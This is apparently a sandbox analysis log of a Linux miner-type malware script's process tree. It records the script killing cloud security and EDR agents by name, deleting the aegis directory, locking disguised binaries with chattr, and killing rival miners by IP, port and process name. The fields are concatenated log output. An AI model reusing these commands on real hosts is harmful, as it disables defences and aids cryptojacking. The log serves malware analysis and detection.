/usr/bin/xargsxargs rm -rf2⤵PID:898
-
/usr/local/sbin/rmrm -rf3⤵PID:901
-
-
/usr/local/bin/rmrm -rf3⤵PID:901
-
-
/usr/sbin/rmrm -rf3⤵PID:901
-
-
/usr/bin/rmrm -rf3⤵PID:901
-
-
/sbin/rmrm -rf3⤵PID:901
-
-
/bin/rmrm -rf3⤵PID:901
-
-
-
/bin/grepgrep -v grep2⤵PID:903
-
-
/bin/grepgrep titanagent2⤵PID:904
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:902
-
-
/usr/bin/awkawk "{print \$11}"2⤵PID:905
-
-
/usr/bin/xargsxargs dirname2⤵PID:906
-
/usr/local/sbin/dirnamedirname3⤵PID:909
-
-
/usr/local/bin/dirnamedirname3⤵PID:909
-
-
/usr/sbin/dirnamedirname3⤵PID:909
-
-
/usr/bin/dirnamedirname3⤵PID:909
-
-
-
/usr/bin/xargsxargs rm -rf2⤵PID:907
-
/usr/local/sbin/rmrm -rf3⤵PID:910
-
-
/usr/local/bin/rmrm -rf3⤵PID:910
-
-
/usr/sbin/rmrm -rf3⤵PID:910
-
-
/usr/bin/rmrm -rf3⤵PID:910
-
-
/sbin/rmrm -rf3⤵PID:910
-
-
/bin/rmrm -rf3⤵PID:910
-
-
-
/bin/psps aux2⤵PID:911
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵PID:915
-
-
/bin/grepgrep -v grep2⤵PID:912
-
-
/bin/grepgrep edr2⤵PID:913
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:914
-
-
/bin/grepgrep -v grep2⤵PID:917
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:916
-
-
/bin/grepgrep aegis2⤵PID:918
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:919
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵PID:920
-
-
/bin/grepgrep Yun2⤵PID:923
-
-
/bin/grepgrep -v grep2⤵PID:922
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
PID:921
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:924
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵PID:925
-
-
/bin/grepgrep hids2⤵PID:928
-
-
/bin/grepgrep -v grep2⤵PID:927
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:926
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:929
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵PID:930
-
-
/bin/grepgrep -v grep2⤵PID:932
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:931
-
-
/bin/grepgrep edr2⤵PID:933
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:934
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵PID:935
-
-
/bin/grepgrep -v grep2⤵PID:937
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:936
-
-
/bin/grepgrep cloudwalker2⤵PID:938
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:939
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵
- Removes the immutable protection flag from a file
PID:940
-
-
/bin/grepgrep -v grep2⤵PID:942
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:941
-
-
/bin/grepgrep titanagent2⤵PID:943
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:944
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵
- Removes the immutable protection flag from a file
PID:945
-
-
/bin/grepgrep -v grep2⤵PID:947
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:946
-
-
/bin/grepgrep sgagent2⤵PID:948
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵PID:950
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:949
-
-
/bin/grepgrep barad_agent2⤵PID:953
-
-
/bin/grepgrep -v grep2⤵PID:952
-
-
/bin/psps aux2⤵PID:951
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:954
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵
- Removes the immutable protection flag from a file
PID:955
-
-
/bin/grepgrep hostguard2⤵PID:958
-
-
/bin/grepgrep -v grep2⤵PID:957
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:959
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:956
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵PID:960
-
-
/bin/rmrm -rf /usr/local/aegis2⤵PID:961
-
-
/bin/sleepsleep 12⤵PID:962
-
-
/usr/bin/chattrchattr -i /usr/bin/ip6network2⤵
- Removes the immutable protection flag from a file
- System Network Configuration Discovery
PID:965
-
-
/usr/bin/chattrchattr -i /usr/bin/kswaped2⤵PID:966
-
-
/usr/bin/chattrchattr -i /usr/bin/irqbalanced2⤵PID:967
-
-
/usr/bin/chattrchattr -i /usr/bin/rctlcli2⤵PID:968
-
-
/usr/bin/chattrchattr -i /usr/bin/systemd-network2⤵PID:969
-
-
/usr/bin/chattrchattr -i /usr/bin/pamdicks2⤵PID:970
-
-
/usr/bin/chattrchattr +i /usr/bin/ip6network2⤵
- Removes the immutable protection flag from a file
- System Network Configuration Discovery
PID:971
-
-
/usr/bin/chattrchattr +i /usr/bin/kswaped2⤵PID:972
-
-
/usr/bin/chattrchattr +i /usr/bin/irqbalanced2⤵PID:973
-
-
/usr/bin/chattrchattr +i /usr/bin/rctlcli2⤵PID:975
-
-
/usr/bin/chattrchattr +i /usr/bin/systemd-network2⤵PID:977
-
-
/usr/bin/chattrchattr +i /usr/bin/pamdicks2⤵PID:978
-
-
/bin/sleepsleep 12⤵PID:979
-
-
/bin/rmrm -f /tmp/.null2⤵PID:991
-
-
/sbin/sysctlsysctl -w "vm.nr_hugepages=128"2⤵PID:993
-
-
/bin/grepgrep 194.87.139.1032⤵PID:1000
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1001
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1002
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1003
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1007
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1008
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1009
-
-
/bin/grepgrep 185.71.65.2382⤵PID:1006
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1014
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1013
-
-
/bin/grepgrep 140.82.52.872⤵PID:1012
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1015
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1019
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1020
-
-
/bin/grepgrep :232⤵PID:1018
-
-
/bin/grepgrep -v -2⤵PID:1021
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1022
-
-
/bin/grepgrep :1432⤵PID:1025
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1026
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1027
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1029
-
-
/bin/grepgrep -v -2⤵PID:1028
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1032
-
-
/bin/grepgrep :22222⤵PID:1031
-
-
/bin/grepgrep -v -2⤵PID:1034
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1035
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1033
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1039
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1040
-
-
/bin/grepgrep -v -2⤵PID:1041
-
-
/bin/grepgrep :33332⤵PID:1038
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1042
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1046
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1047
-
-
/bin/grepgrep :33892⤵PID:1045
-
-
/bin/grepgrep -v -2⤵PID:1048
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1049
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1054
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1053
-
-
/bin/grepgrep :55552⤵PID:1052
-
-
/bin/grepgrep -v -2⤵PID:1055
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1056
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1061
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1060
-
-
/bin/grepgrep :66662⤵PID:1059
-
-
/bin/grepgrep -v -2⤵PID:1062
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1063
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1066
-
-
/bin/grepgrep :66652⤵PID:1065
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1069
-
-
/bin/grepgrep -v -2⤵PID:1068
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1067
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1075
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1074
-
-
/bin/grepgrep -v -2⤵PID:1076
-
-
/bin/grepgrep :66672⤵PID:1073
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1077
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1080
-
-
/bin/grepgrep :77772⤵PID:1079
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1081
-
-
/bin/grepgrep -v -2⤵PID:1082
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1083
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1087
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1088
-
-
/bin/grepgrep :84442⤵PID:1086
-
-
/bin/grepgrep -v -2⤵PID:1089
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1090
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1094
-
-
/bin/grepgrep :33472⤵PID:1093
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1095
-
-
/bin/grepgrep -v -2⤵PID:1096
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1097
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1101
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1102
-
-
/bin/grepgrep :100082⤵PID:1100
-
-
/bin/grepgrep -v -2⤵PID:1103
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1104
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1109
-
-
/bin/grepgrep :135312⤵PID:1108
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1110
-
-
/bin/grepgrep -v grep2⤵PID:1107
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1114
-
-
/bin/grepgrep :33332⤵PID:1113
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1115
-
-
/bin/grepgrep -v grep2⤵PID:1112
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:1111
-
-
/bin/grepgrep -v grep2⤵PID:1117
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1119
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1120
-
-
/bin/grepgrep :55552⤵PID:1118
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:1116
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1124
-
-
/bin/grepgrep "kworker -c\\"2⤵PID:1123
-
-
/bin/grepgrep -v grep2⤵PID:1122
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1125
-
-
/bin/psps aux2⤵PID:1121
-
-
/bin/grepgrep log_2⤵PID:1128
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1129
-
-
/bin/grepgrep -v grep2⤵PID:1127
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1130
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
PID:1126
-
-
/bin/grepgrep systemten2⤵PID:1133
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1134
-
-
/bin/grepgrep -v grep2⤵PID:1132
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1135
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1131
-
-
/bin/grepgrep netns2⤵PID:1138
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1139
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1140
-
/usr/local/sbin/killkill -9 103⤵
- Disables SELinux
PID:1141
-
-
/usr/local/bin/killkill -9 103⤵
- Disables SELinux
PID:1141
-
-
/usr/sbin/killkill -9 103⤵
- Disables SELinux
PID:1141
-
-
/usr/bin/killkill -9 103⤵
- Disables SELinux
PID:1141
-
-
/sbin/killkill -9 103⤵
- Disables SELinux
PID:1141
-
-
/bin/killkill -9 103⤵
- Disables SELinux
PID:1141
-
-
-
/bin/grepgrep -v grep2⤵PID:1137
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
PID:1136
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1145
-
-
/bin/grepgrep voltuned2⤵PID:1144
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1146
-
-
/bin/grepgrep -v grep2⤵PID:1143
-
-
/bin/psps aux2⤵PID:1142
-
-
/bin/grepgrep darwin2⤵PID:1149
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1150
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1151
-
-
/bin/grepgrep -v grep2⤵PID:1148
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1147
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1155
-
-
/bin/grepgrep /tmp/dl2⤵PID:1154
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1156
-
-
/bin/grepgrep -v grep2⤵PID:1153
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
PID:1152
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1160
-
-
/bin/grepgrep /tmp/ddg2⤵PID:1159
-
-
/bin/grepgrep -v grep2⤵PID:1158
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1161
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
PID:1157
-
-
/bin/grepgrep -v grep2⤵PID:1163
-
-
/bin/grepgrep /tmp/pprt2⤵PID:1164
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1166
-
-
/bin/psps aux2⤵PID:1162
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1165
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1170
-
-
/bin/grepgrep /tmp/ppol2⤵PID:1169
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1171
-
-
/bin/grepgrep -v grep2⤵PID:1168
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:1167
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1175
-
-
/bin/grepgrep "/tmp/65ccE*"2⤵PID:1174
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1176
-
-
/bin/grepgrep -v grep2⤵PID:1173
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1172
-
-
/bin/grepgrep "/tmp/jmx*"2⤵PID:1179
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1180
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1181
-
-
/bin/grepgrep -v grep2⤵PID:1178
-
-
/bin/psps aux2⤵PID:1177
-
-
/bin/grepgrep "/tmp/2Ne80*"2⤵PID:1184
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1185
-
-
/bin/grepgrep -v grep2⤵PID:1183
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1186
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
PID:1182
-
-
/usr/bin/awkawk "{print \$2}"2⤵
- Reads runtime system information
PID:1190
-
-
/bin/grepgrep IOFoqIgyC0zmf2UR2⤵PID:1189
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1191
-
-
/bin/grepgrep -v grep2⤵PID:1188
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1187
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1195
-
-
/bin/grepgrep 45.76.122.922⤵PID:1194
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
- Reads runtime system information
PID:1196
-
-
/bin/grepgrep -v grep2⤵PID:1193
-
-
/bin/psps aux2⤵PID:1192
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1200
-
-
/bin/grepgrep 51.38.191.1782⤵PID:1199
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1201
-
-
/bin/grepgrep -v grep2⤵PID:1198
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:1197
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1205
-
-
/bin/grepgrep 51.15.56.1612⤵PID:1204
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1206
-
-
/bin/grepgrep -v grep2⤵PID:1203
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1202
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1210
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1211
-
-
/bin/grepgrep 86s.jpg2⤵PID:1209
-
-
/bin/grepgrep -v grep2⤵PID:1208
-
-
/bin/psps aux2⤵PID:1207
-
-
/bin/grepgrep aGTSGJJp2⤵PID:1214
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1215
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1216
-
-
/bin/grepgrep -v grep2⤵PID:1213
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:1212
-
-
/bin/grepgrep nMrfmnRa2⤵PID:1219
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1220
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1221
-
-
/bin/grepgrep -v grep2⤵PID:1218
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1217
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1225
-
-
/bin/grepgrep PuNY5tm22⤵PID:1224
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1226
-
-
/bin/grepgrep -v grep2⤵PID:1223
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1222
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1230
-
-
/bin/grepgrep I0r8Jyyt2⤵PID:1229
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1231
-
-
/bin/grepgrep -v grep2⤵PID:1228
-
-
/bin/psps aux2⤵PID:1227
-
-
/bin/grepgrep AgdgACUD2⤵PID:1234
-
-
/bin/grepgrep -v grep2⤵PID:1233
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1235
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1236
-
-
/bin/psps aux2⤵PID:1232
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1240
-
-
/bin/grepgrep uiZvwxG82⤵PID:1239
-
-
/bin/grepgrep -v grep2⤵PID:1238
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1241
-
-
/bin/psps aux2⤵PID:1237
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1245
-
-
/bin/grepgrep hahwNEdB2⤵PID:1244
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1246
-
-
/bin/grepgrep -v grep2⤵PID:1243
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
PID:1242
-
-
/bin/grepgrep BtwXn5qH2⤵PID:1249
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1250
-
-
/bin/grepgrep -v grep2⤵PID:1248
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1251
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1247
-
-
/bin/grepgrep 3XEzey2T2⤵PID:1254
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1256
-
-
/bin/grepgrep -v grep2⤵PID:1253
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1255
-
-
/bin/psps aux2⤵PID:1252
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1260
-
-
/bin/grepgrep t2tKrCSZ2⤵PID:1259
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1261
-
-
/bin/grepgrep -v grep2⤵PID:1258
-
-
/bin/psps aux2⤵PID:1257
-
-
/bin/grepgrep HD7fcBgg2⤵PID:1264
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1265
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1266
-
-
/bin/grepgrep -v grep2⤵PID:1263
-
-
/bin/psps aux2⤵PID:1262
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1270
-
-
/bin/grepgrep zXcDajSs2⤵PID:1269
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1271
-
-
/bin/grepgrep -v grep2⤵PID:1268
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1267
-
-
/bin/grepgrep -v grep2⤵PID:1273
-
-
/bin/grepgrep 3lmigMo2⤵PID:1274
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1275
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1276
-
-
/bin/psps aux2⤵PID:1272
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1280
-
-
/bin/grepgrep AkMK4A22⤵PID:1279
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1281
-
-
/bin/grepgrep -v grep2⤵PID:1278
-
-
/bin/psps aux2⤵PID:1277
-
-
/bin/grepgrep AJ2AkKe2⤵PID:1284
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1285
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1286
-
-
/bin/grepgrep -v grep2⤵PID:1283
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1282
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1290
-
-
/bin/grepgrep HiPxCJRS2⤵
- System Network Configuration Discovery
PID:1289
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1291
-
-
/bin/grepgrep -v grep2⤵PID:1288
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1287
-
-
/bin/grepgrep http_0xCC0302⤵
- Disables SELinux
PID:1294
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1295
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1296
-
-
/bin/grepgrep -v grep2⤵PID:1293
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1292
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1300
-
-
/bin/grepgrep http_0xCC0312⤵PID:1299
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1301
-
-
/bin/grepgrep -v grep2⤵PID:1298
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1297
-
-
/bin/grepgrep http_0xCC0322⤵PID:1304
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1305
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1306
-
-
/bin/grepgrep -v grep2⤵PID:1303
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1302
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1310
-
-
/bin/grepgrep -v grep2⤵PID:1308
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:1307
-
-
/bin/grepgrep http_0xCC0332⤵PID:1309
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1311
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1315
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1316
-
-
/bin/grepgrep C4iLM4L2⤵PID:1314
-
-
/bin/grepgrep -v grep2⤵PID:1313
-
-
/bin/psps aux2⤵PID:1312
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1320
-
-
/bin/grepgrep aziplcr72qjhzvin2⤵
- System Network Configuration Discovery
PID:1319
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1321
-
-
/bin/grepgrep -v grep2⤵PID:1318
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1317
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1325
-
-
/usr/bin/awkawk "{ if(substr(\$11,1,2)==\"./\" && substr(\$12,1,2)==\"./\") print \$2 }"2⤵PID:1324
-
-
/bin/grepgrep -v grep2⤵PID:1323
-
-
/bin/psps aux2⤵PID:1322
-
-
/bin/grepgrep /boot/vmlinuz2⤵PID:1328
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1329
-
-
/bin/grepgrep -v grep2⤵PID:1327
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1330
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
PID:1326
-
-
/bin/grepgrep i4b503a52cc52⤵PID:1333
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1334
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1335
-
-
/bin/grepgrep -v grep2⤵PID:1332
-
-
/bin/psps aux2⤵PID:1331
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1339
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1340
-
-
/bin/grepgrep dgqtrcst23rtdi3ldqk322j22⤵PID:1338
-
-
/bin/grepgrep -v grep2⤵PID:1337
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1336
-
-
/bin/grepgrep 2g0uv7npuhrlatd2⤵PID:1343
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1344
-
-
/bin/grepgrep -v grep2⤵PID:1342
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1345
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
PID:1341
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1349
-
-
/bin/grepgrep nqscheduler2⤵PID:1348
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1350
-
-
/bin/grepgrep -v grep2⤵PID:1347
-
-
/bin/psps aux2⤵PID:1346
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1354
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1355
-
-
/bin/grepgrep rkebbwgqpl4npmm2⤵PID:1353
-
-
/bin/grepgrep -v grep2⤵PID:1352
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
PID:1351
-
-
/bin/grepgrep -v aux2⤵PID:1358
-
-
/bin/grepgrep "]"2⤵PID:1359
-
-
/usr/bin/awkawk "\$3>10.0{print \$2}"2⤵PID:1360
-
-
/bin/grepgrep -v grep2⤵PID:1357
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1361
-
-
/bin/psps aux2⤵PID:1356
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1365
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1366
-
-
/bin/grepgrep 2fhtu70teuhtoh78jc5s2⤵PID:1364
-
-
/bin/grepgrep -v grep2⤵PID:1363
-
-
/bin/psps aux2⤵PID:1362
-
-
/bin/grepgrep 0kwti6ut420t2⤵PID:1369
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1370
-
-
/bin/grepgrep -v grep2⤵PID:1368
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1371
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1367
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1376
-
-
/bin/grepgrep 44ct7udt0patws3agkdfqnjm2⤵PID:1374
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1375
-
-
/bin/grepgrep -v grep2⤵PID:1373
-
-
/bin/psps aux2⤵PID:1372
-
-
/bin/grepgrep -v -2⤵PID:1380
-
